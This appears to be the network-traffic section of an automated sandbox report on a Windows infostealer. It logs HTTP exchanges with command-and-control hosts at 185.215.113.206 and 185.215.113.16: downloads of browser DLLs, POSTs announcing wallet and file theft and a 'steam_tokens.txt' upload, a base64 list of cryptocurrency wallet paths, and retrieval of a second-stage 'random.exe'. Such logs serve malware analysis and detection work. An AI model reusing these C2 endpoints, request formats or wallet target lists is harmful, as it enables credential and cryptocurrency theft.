Nov 27, 2024 17:58:51.741373062 CET	1236	IN	Data Raw: 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 Data Ascii: Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRAA q$]
Nov 27, 2024 17:58:51.751422882 CET	1236	IN	Data Raw: 18 ff ff ff 8b 75 b4 01 ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 ff ff ff 01 fe 89 75 b4 13 55 98 31 d3 89 5d 94 89 d3 8b 85 64 ff ff ff 31 f0 89 85 64 ff ff ff 8b 4d ec 03 4d 94 89 4d ec 8b 55 e0 11 c2 89 55 e0 31 cf 8b 75 98 31 d6 Data Ascii: uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]d1]1U]uuEE11E}tBP`MBTD]H
Nov 27, 2024 17:58:51.751455069 CET	1236	IN	Data Raw: c3 31 ca 89 d8 0f a4 d0 08 0f a4 da 08 8b 75 b8 03 b5 74 ff ff ff 8b 5d f0 13 9d 50 ff ff ff 01 d6 89 75 b8 11 c3 89 5d f0 8b 4d a8 31 d9 31 f7 89 fe 0f a4 ce 10 89 b5 58 ff ff ff 0f ac cf 10 89 bd 78 ff ff ff 8b 5d ec 01 fb 89 5d ec 8b 4d e0 11 Data Ascii: 1ut]Pu]M11Xx]]MM11\|}$E\]}UEM1Mu1}}EE11}0M,}M1M1u
Nov 27, 2024 17:58:53.479048014 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 17:58:53.934547901 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 27, 2024 17:58:54.888729095 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 17:58:55.344945908 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 27, 2024 17:58:56.043436050 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 17:58:56.502331972 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 27, 2024 17:58:59.803849936 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 17:59:00.282144070 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 27, 2024 17:59:00.941317081 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 17:59:01.421917915 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 27, 2024 17:59:02.365377903 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 17:59:03.519886971 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 17:59:03.598936081 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="message"wallets------DGHJECAFIDAFHJKFCGHI--
Nov 27, 2024 17:59:04.079993010 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 27, 2024 17:59:04.083708048 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="message"files------DBKEGCAEGIIJKFIEHIJE--
Nov 27, 2024 17:59:04.571903944 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 17:59:04.586914062 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file"------IJKFHIIEHIEGDHJJJKFI--
Nov 27, 2024 17:59:05.552608967 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 17:59:05.582923889 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKEBGHJKFIDGCAAFCAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 2d 2d 0d 0a Data Ascii: ------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="message"ybncbhylepme------JJKEBGHJKFIDGCAAFCAF--
Nov 27, 2024 17:59:06.060720921 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49942	185.215.113.16	80	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:59:06.197794914 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 27, 2024 17:59:07.579703093 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 16:59:07 GMT Content-Type: application/octet-stream Content-Length: 1915392 Last-Modified: Wed, 27 Nov 2024 16:47:33 GMT Connection: keep-alive ETag: "67474d25-1d3a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf L@PL@WkDLPL @.rsrcD@.idata @ @+@xecvasfo 1@hcidpiznL@.taggant0 L"@
Nov 27, 2024 17:59:07.579782009 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:07.580738068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
